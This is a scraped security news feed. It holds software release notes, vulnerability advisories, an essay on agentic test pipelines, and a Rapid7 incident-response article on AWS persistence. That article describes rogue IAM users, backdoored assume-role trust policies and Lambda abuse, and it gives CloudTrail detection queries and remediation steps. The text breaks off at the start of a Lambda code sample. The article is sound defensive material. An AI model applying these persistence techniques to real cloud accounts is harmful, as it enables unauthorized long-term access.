fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407

Full Changelog: v0.52.0-nightly.20260715.gfa975395...]]></description>
<link>https://tsecurity.de/de/3672178/downloads/release-v0520-nightly20260716g3ff5ba20f/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672178/downloads/release-v0520-nightly20260716g3ff5ba20f/</guid>
<pubDate>Thu, 16 Jul 2026 03:46:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
<li>fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4893271589" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28407" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28407/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28407">#28407</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260715.gfa975395b...v0.52.0-nightly.20260716.g3ff5ba20f"><tt>v0.52.0-nightly.20260715.gfa975395b...v0.52.0-nightly.20260716.g3ff5ba20f</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ZDI-26-430: MSI Center NTIOLib_X64 Origin Validation Error Local Privilege Escalation Vulnerability]]></title>
<description><![CDATA[This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 7.8. The following ...]]></description>
<link>https://tsecurity.de/de/3671977/sicherheitsluecken/zdi-26-430-msi-center-ntiolibx64-origin-validation-error-local-privilege-escalation-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671977/sicherheitsluecken/zdi-26-430-msi-center-ntiolibx64-origin-validation-error-local-privilege-escalation-vulnerability/</guid>
<pubDate>Wed, 15 Jul 2026 23:57:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This vulnerability allows local attackers to escalate privileges on affected installations of MSI Center. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-6102.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-8852 | WuKongOpenSource WukongCRM 11.0 API Response /adminFile/upload information exposure (Issue 26)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in WuKongOpenSource WukongCRM 11.0. This affects an unknown function of the file /adminFile/upload of the component API Response Handler. Such manipulation leads to information exposure through error message.

This vulnerability is uniquely iden...]]></description>
<link>https://tsecurity.de/de/3671839/sicherheitsluecken/cve-2025-8852-wukongopensource-wukongcrm-110-api-response-adminfileupload-information-exposure-issue-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671839/sicherheitsluecken/cve-2025-8852-wukongopensource-wukongcrm-110-api-response-adminfileupload-information-exposure-issue-26/</guid>
<pubDate>Wed, 15 Jul 2026 22:51:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/wukongopensource:wukongcrm">WuKongOpenSource WukongCRM 11.0</a>. This affects an unknown function of the file <em>/adminFile/upload</em> of the component <em>API Response Handler</em>. Such manipulation leads to information exposure through error message.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2025-8852">CVE-2025-8852</a>. The attack can be launched remotely. Moreover, an exploit is present.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.1-rc0]]></title>
<description><![CDATA[cmd: put current working dir in the system prompt (#17188)]]></description>
<link>https://tsecurity.de/de/3671709/downloads/v0321-rc0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671709/downloads/v0321-rc0/</guid>
<pubDate>Wed, 15 Jul 2026 21:16:51 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>cmd: put current working dir in the system prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887553796" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/17188" data-hovercard-type="pull_request" data-hovercard-url="/ollama/ollama/pull/17188/hovercard" href="https://github.com/ollama/ollama/pull/17188">#17188</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v1.170.0]]></title>
<description><![CDATA[1.170.0 - 2026-07-15
### Added

Pro C/C++ scans now skip code inside statically-dead preprocessor branches
(for example, #if 0 ... #else ... #endif). Patterns that would otherwise
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)
Restored obackward: semgrep-co...]]></description>
<link>https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</guid>
<pubDate>Wed, 15 Jul 2026 19:19:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.170.0">1.170.0</a> - 2026-07-15</h2>
<h3>### Added</h3>
<ul>
<li>Pro C/C++ scans now skip code inside statically-dead preprocessor branches<br>
(for example, <code>#if 0 ... #else ... #endif</code>). Patterns that would otherwise<br>
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)</li>
<li>Restored obackward: semgrep-core and semgrep-core-proprietary once again print a backtrace when receiving a fatal signal (e.g. SIGSEGV) (obackward)</li>
<li><code>semgrep install-semgrep-pro</code> now sends usage metrics so that<br>
installation errors can be tracked. Metrics can be disabled with<br>
<code>--metrics off</code> or <code>SEMGREP_SEND_METRICS=off</code>. Metrics payloads also<br>
now include the method used to install the Semgrep CLI (pip, homebrew,<br>
docker, or unknown), detected heuristically. See metrics.md for<br>
more details of what exactly is sent. (engine-2858)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>Increased the timeout for dynamic dependency resolution subprocesses from<br>
600 to 900 seconds, giving large projects more time to resolve dependencies<br>
before timing out. (SC-3699)</li>
<li>Pro C/C++ <code>#if 0</code> filtering now also handles cases where the directive splits a<br>
syntactic unit.  For example, a function signature toggle like <code>#if 0 void foo(int i) { #else void foo(uint32_t i) { #endif</code>. (engine-994)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>
<p>Fixed a crash at startup (<code>Fatal error: Failed to allocate signal stack for domain 0</code>) when running Semgrep on systems with musl 1.2.6 (e.g. Alpine 3.24) on<br>
recent Intel CPUs whose kernel-reported minimum signal-stack size exceeds musl's<br>
build-time SIGSTKSZ (notably AMX-capable Xeons). (ENGINE-2863)</p>
</li>
<li>
<p>Dockerfile: Fixed parse errors on <code>RUN</code> instructions that use heredoc syntax<br>
(<code>&lt;&lt;EOF</code>, <code>&lt;&lt;-EOF</code>, quoted delimiters). (LANG-263)</p>
</li>
<li>
<p><code>metavariable-type</code> now supports fully qualified type names in languages<br>
where a qualified name in type position parses as an expression (e.g.<br>
Python's <code>types: [a.b.C]</code>) when the metavariable's type is determined by<br>
type inference, such as Pro engine cross-file type resolution. (LANG-583)</p>
</li>
<li>
<p>Updated the ocaml-tree-sitter-core dependency to the latest <code>main</code>.</p>
<ul>
<li>Fails loudly on a parser/runtime ABI mismatch</li>
<li>Stamps every generated <code>parser.c</code> with the tree-sitter version that produced it.</li>
<li>Changed paths where tree-sitter versions are installed (lang-591)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.2]]></title>
<description><![CDATA[Core
Bugfixes

Stopped subagents from launching nested subagents by default, with a configurable subagent_depth limit when needed.
Improved default reasoning depth for Meta models.

Desktop
Improvements

Added Mod+N as another shortcut for opening a new tab.

Bugfixes

Restored the Help button in...]]></description>
<link>https://tsecurity.de/de/3671332/downloads/v1182/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671332/downloads/v1182/</guid>
<pubDate>Wed, 15 Jul 2026 18:32:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Stopped subagents from launching nested subagents by default, with a configurable <code>subagent_depth</code> limit when needed.</li>
<li>Improved default reasoning depth for Meta models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Added <code>Mod+N</code> as another shortcut for opening a new tab.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Restored the Help button in release builds.</li>
<li>Kept sessions with <code>null</code> archive times visible instead of dropping them from the home list.</li>
<li>Hid the drawer close button on Windows where it conflicts with the window chrome.</li>
</ul>
<p><strong>Thank you to 1 community contributor:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BB-84C/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BB-84C">@BB-84C</a>:
<ul>
<li>fix(core): tolerate AlreadyExists in FSUtil.ensureDir (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868117496" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36542" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36542/hovercard" href="https://github.com/anomalyco/opencode/pull/36542">#36542</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[What 80% AI-written test pipelines actually cost]]></title>
<description><![CDATA[The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?



After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the typing, not eighty percent o...]]></description>
<link>https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?</p>



<p class="wp-block-paragraph">After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the <em>typing</em>, not eighty percent of the <em>engineering</em>. The remaining twenty was where the work still lived. Budgeting for two percent of leftover effort was the mistake. When the real number was closer to thirty, that gap was the difference between a pipeline that shipped and one that quietly built up a queue of half-trusted features nobody could rely on.</p>



<p class="wp-block-paragraph">This piece is about that gap. As an independent research project on LLM-augmented testing methodology, I built a six-stage agentic pipeline that takes a design in Figma and produces running tests in WebDriverIO, connected end to end over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. It works. It has been useful. And the parts that broke surprised me, because they were not the parts the hype cycle tells you to worry about.</p>



<h2 class="wp-block-heading">How I wired a six-stage pipeline over one protocol</h2>



<p class="wp-block-paragraph">The pipeline runs six stages in sequence, each owned by a different agent, with every handoff crossing MCP.</p>



<p class="wp-block-paragraph">Six-stage agentic test pipeline: design capture → requirements writer → ticket opener → code generator → test-case writer → automation generator. Each stage carries an MCP handoff and a provenance stamp.</p>



<p class="wp-block-paragraph">The end-to-end trace links a pull request back to a Jira ticket, a requirements section and a Figma frame. Each artifact is stamped with the agent that produced it, the model it used and the inputs it was given.</p>



<p class="wp-block-paragraph">MCP is the boring middle that makes any of this work. The cliché is that MCP is “USB-C for AI”: one open protocol, any tool. Like most analogies, it is about eighty percent right. The part that matters is the eighty: I do not have to write a custom adapter for every system the agent talks to. One MCP server per tool and every agent talks to all of them the same way.</p>



<p class="wp-block-paragraph"><strong>Typed handoffs between agents are my own architecture, layered on top of MCP rather than provided by it.</strong> Each agent writes a typed artifact the next agent reads. Each handoff is logged with provenance. When something went wrong six stages in, I could replay the chain. Without that discipline, a multi-agent pipeline is a debugger’s worst day. You know the test plan is wrong. You cannot tell whether the mistake came from the Figma read, the requirements interpretation or the ticket scaffolding. With it, I could point at exactly which stage went sideways and which inputs it was looking at when it did. The pattern lives in a <a href="https://github.com/SuneetMalhotra/agent-harness">public MIT-licensed reference implementation</a> for any reader who wants to run it.</p>



<p class="wp-block-paragraph"><strong>The sixteen-minute number is the marketing number.</strong> I ran the full chain end to end in about sixteen minutes on a synthetic net-new screen, Figma in, automation suite out. That repeated across my runs; it is not a demo trick. But sixteen minutes is the part of the story most fun to tell and least useful to learn from. It is what gets quoted in the all-hands. The hours that come after, when a human reviews each handoff, are where the work actually lives.</p>



<h2 class="wp-block-heading">What actually broke in production-style runs</h2>



<p class="wp-block-paragraph">The failures that stalled my pipeline were rarely the ones I expected.</p>



<p class="wp-block-paragraph">I expected hallucinated APIs. I got them: the agent confidently called endpoint names that sounded right but did not exist. I expected sparse-spec-in, sparse-spec-out, where a Figma frame with no annotations produced a requirements doc with vague acceptance criteria, every time. I expected locator drift, the common UI-automation failure mode where a renamed component silently breaks an entire test suite. There is solid <a href="https://martinfowler.com/articles/nonDeterminism.html">outside writing on non-determinism in tests</a> covering this whole family of failure modes, and the agent inherited every one.</p>



<p class="wp-block-paragraph">What I did not expect, and what kept the pipeline down longer than any of the above, was the plumbing.</p>



<p class="wp-block-paragraph">The model backend timed out under load. It lost credentials silently and started returning empty strings, which the agent then read as confidence. A duplicate consumer on a shared long-poll API endpoint produced an HTTP 409 conflict that broke delivery without throwing anything visible. One unguarded exception inside one agent aborted a whole shared scheduler run and took the other agents in the registry down with it. The single worst incident cost me three hours to find. An environment variable had silently rotated overnight; every agent in the fleet was returning structurally valid but semantically empty requirements docs; the downstream stages were dutifully generating tests against nothing.</p>



<p class="wp-block-paragraph">None of those are model bugs. They are infrastructure. The agent literature, which is what I went looking through when I started this work, mostly does not talk about them.</p>



<p class="wp-block-paragraph">The fix was not better prompts. It was <a href="https://martinfowler.com/bliki/CircuitBreaker.html">circuit-breaker-style</a> review checkpoints between stages and what I now call <strong>the four-guard discipline</strong>: four small guards I consider non-negotiable on any unattended agentic pipeline. The bulkhead pattern from microservices is the most consequential. An unhandled exception inside one agent can no longer abort the shared run; the offending agent fails fast with a structured error and the others keep going. Paired with that, a pure-data fallback ensures a model timeout produces a deterministic output explicitly marked as degraded mode, rather than an empty string the next stage will misread as confidence. A single-owner lease sits on every shared external endpoint, the cure for the duplicate-consumer incident that ate one of my Sunday afternoons. The cheapest guard was the last to arrive: a one-line synthetic canary every agent has to produce a known correct response to before any real work begins, so a credentials rotation or silent backend failure trips an alert before downstream stages have generated artifacts against garbage.</p>



<p class="wp-block-paragraph">None of these guards is novel. They are textbook stability patterns at a new boundary: the seam between the LLM agent and the rest of the system, which most of the existing agent literature still treats as a solved problem.</p>



<h2 class="wp-block-heading">The 20% you don’t see, and when not to do this</h2>



<p class="wp-block-paragraph">Here is the part the demo videos leave out. Even when the pipeline works, the human time per stage does not go to zero.</p>



<p class="wp-block-paragraph">Human review time per ticket across five pipeline stages: code review 60-180 min, automation review and flaky-fix loop 30-90 min, ticket architecture and sequencing 30-60 min, test data and environment 15-30 min, requirements review 20-30 min. Net: the human still spends 20-30% of the original effort, almost all of it reviewing rather than creating.</p>



<p class="wp-block-paragraph"><strong>Net of all that, the human still spends twenty to thirty percent of the original effort, almost all of it reviewing rather than creating.</strong> The pipeline saves seventy to eighty percent, not ninety-eight. The trap is budgeting for the two percent you do not save.</p>



<p class="wp-block-paragraph">When does this kind of pipeline make sense? In my experience, when the Figma is richly annotated and acceptance criteria are clear up front; when there is review capacity to absorb the work the pipeline shifts onto humans; when the stack is well represented in the training data; and when the feature is net-new rather than a deep edit of legacy code. When does it not? When the design lives on a whiteboard. When the integration touches old code with hidden contracts. When the path is regulated or safety-critical. When there is no senior reviewer who can hold the line. When the work is exploratory and writing the spec is the actual point of the exercise.</p>



<p class="wp-block-paragraph">Teams I have seen succeed with agentic pipelines budget for the rework explicitly, staff the review queue and treat the saved hours as capacity for harder problems rather than headcount they can release. Teams I have seen struggle did the opposite: declared victory at the demo and quietly accumulated a backlog of half-trusted features the next quarter had to clean up.</p>



<p class="wp-block-paragraph">The right unit of measurement is not how much the pipeline generates. It is how much of what it generates a human still has to touch before you would ship it. Call it <strong>the 80/20 rework rule</strong>: measure the rework, not the generation. The teams that get the rework number right are the ones whose AI investments compound. The teams that stop counting at the headline percentage are the ones that own the cleanup six months later.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong><u>Want to join?</u></strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Fix Plex “Not Available Outside Your Network” Error]]></title>
<description><![CDATA[There is nothing more frustrating than settling into a hotel room, opening your phone, and realizing your home media library is completely unreachable. The “Not Available Outside Your Network” error is one of the most common issues Plex Media Server users face. When your Plex server loses its rem...]]></description>
<link>https://tsecurity.de/de/3670973/windows-tipps/how-to-fix-plex-not-available-outside-your-network-error/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670973/windows-tipps/how-to-fix-plex-not-available-outside-your-network-error/</guid>
<pubDate>Wed, 15 Jul 2026 16:28:23 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>There is nothing more frustrating than settling into a hotel room, opening your phone, and realizing your home media library is completely unreachable. The “Not Available Outside Your Network” error is one of the most common issues Plex Media Server users face. When your Plex server loses its remote access connection, it essentially traps your […]</p>
<p>The post <a href="https://mspoweruser.com/how-to-fix-plex-not-available-outside-your-network-error/">How to Fix Plex “Not Available Outside Your Network” Error</a> appeared first on <a href="https://mspoweruser.com/">MSPoweruser</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows-11-Systemdatei frisst bis zu 500 GB - Patchday bringt den Fix]]></title>
<description><![CDATA[Ein Fehler in Windows 11 sorgte monatelang dafür, dass die Größe einer bestimmten Systemdatei unbemerkt ansteigen konnte. Auf einigen Systemen wuchs sie auf bis zu 500 GB an. Das aktuelle Patchday-Update liefert nun eine Lösung für das Speicherproblem.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3670862/it-security-nachrichten/windows-11-systemdatei-frisst-bis-zu-500-gb-patchday-bringt-den-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670862/it-security-nachrichten/windows-11-systemdatei-frisst-bis-zu-500-gb-patchday-bringt-den-fix/</guid>
<pubDate>Wed, 15 Jul 2026 15:54:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,159997.html"><img hspace="5" border="0" align="left" alt="Fehler, Bug, Bugfix, Error, Bugs bugs bugs, Windows 11 Fehler, Windows 11 Bugs Bugs Bugs, Windows 11 Troubleshoot, Windows 11 Bug" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/52399.jpg"></a>
			Ein Fehler in <a href="https://winfuture.de/special/windows11/" title="Windows 11 Special">Windows 11</a> sorgte monatelang dafür, dass die Größe einer bestimmten Systemdatei unbemerkt ansteigen konnte. Auf einigen Systemen wuchs sie auf bis zu 500 GB an. Das aktuelle Patchday-Update liefert nun eine Lösung für das Speicherproblem.			(<a href="https://winfuture.de/news,159997.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Persistence Mechanisms in AWS]]></title>
<description><![CDATA[OverviewIn the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds...]]></description>
<link>https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</guid>
<pubDate>Wed, 15 Jul 2026 15:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p>In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.</p><p>Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 InsightIDR customers to investigate and understand AWS alert behaviors.</p><h2>Persistence technique: IAM user</h2><p><span>One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.</span></p><p><span>During incident investigations, we have observed that malicious </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> actions are usually simple and often include only the </span><span><span data-type="inlineCode">userName</span></span><span> of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named </span><span><span data-type="inlineCode">malicious-user</span></span><span><em>.</em></span></p><p></p><pre language="json">   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
    },</pre><p><span><em>Listing 1: Example request and response parameters of the </em></span><span><span data-type="inlineCode"><em>iam:CreateUser</em></span></span><span><em> API call</em></span></p><p><span><em></em></span></p><p><span>Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:</span></p><h4><span>Credential addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:CreateAccessKey</span></span><span> — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.</span></p></li><li><p><span><span data-type="inlineCode">iam:CreateConsoleProfile</span></span><span><strong> </strong></span><span>— Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.</span></p></li></ul><h4><span>Permission addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:AttachUserPolicy</span></span><span> — Attaches the specified managed policy to the user.</span></p></li><li><p><span><span data-type="inlineCode">iam:PutUserPolicy</span></span><span> — Adds or updates an inline policy document embedded in the specified IAM user.</span></p></li><li><p><span><span data-type="inlineCode">iam:AddUserToGroup</span></span><span> — Adds the user to the specified group.</span></p></li></ul><p><span>All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")</pre><p><span><em>Listing 2: LEQL query for investigating actions performed on an IAM user</em></span></p><p><span><em></em></span></p><p><span>Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.</span></p><p><span>To get an overview of the most important actions performed on the malicious entity, the following query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)</pre><p><span><em>Listing 3: LEQL query to get an overview of the most important actions performed on the user</em></span></p><p><span><em></em></span></p><p><span>The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.</span></p><p><span>InsightIDR parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)</pre><p><span><em>Listing 4: LEQL query for actions performed by the user</em></span></p><h3>Recommended steps for newly created IAM users</h3><p><span>When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.</span></p></li><li><p><span>Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.</span></p></li><li><p><span>Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.</span></p></li><li><p><span>Rotate credentials for all compromised accounts to prevent further unauthorized access.</span></p></li><li><p><span>Remove any unknown or unauthorized IAM users to fully remediate persistence.</span></p></li></ul><h2>Persistence technique: Modifying assume role policies</h2><p><span>An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.</span></p><p><span>During an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using </span><span><span data-type="inlineCode">iam:CreateRole</span></span><span> with already backdoored assume role policy, or via editing an assume role policy that already exists using </span><span><span data-type="inlineCode">iam:UpdateAssumeRolePolicy</span></span><span> API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.</span></p><p></p><pre language="json">{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

</pre><p><span><em>Listing 5: Assume role policy allows external access</em></span></p><p></p><p><span>The document contains two external account IDs, </span><span><span data-type="inlineCode">111111111111</span></span><span> and </span><span><span data-type="inlineCode">222222222222</span></span><span>, and allows anyone with necessary permissions in the attacker's account to assume the role.</span></p><p><span>In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the </span><span><span data-type="inlineCode">malicious-role</span></span><span> that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])</pre><p><span><em>Listing 6: LEQL query to show actions performed on the suspicious role</em></span></p><p></p><p><span>When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When </span><span><span data-type="inlineCode">iam:AssumeRole</span></span><span> action is observed, the returned temporary key can be extracted and its associated activity can be further examined.</span></p><p><span></span></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])</pre><p><span><em>Listing 7: LEQL query showing actions from the suspicious AWS accounts</em></span></p><p></p><p><span>Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.</span></p><p></p><pre language="html">where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)</pre><p><span><em>Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts</em></span></p><h2>Persistence technique: Lambda abuse</h2><p><span>AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.</span></p><p><span>Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.</span></p><p></p><pre language="python">import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

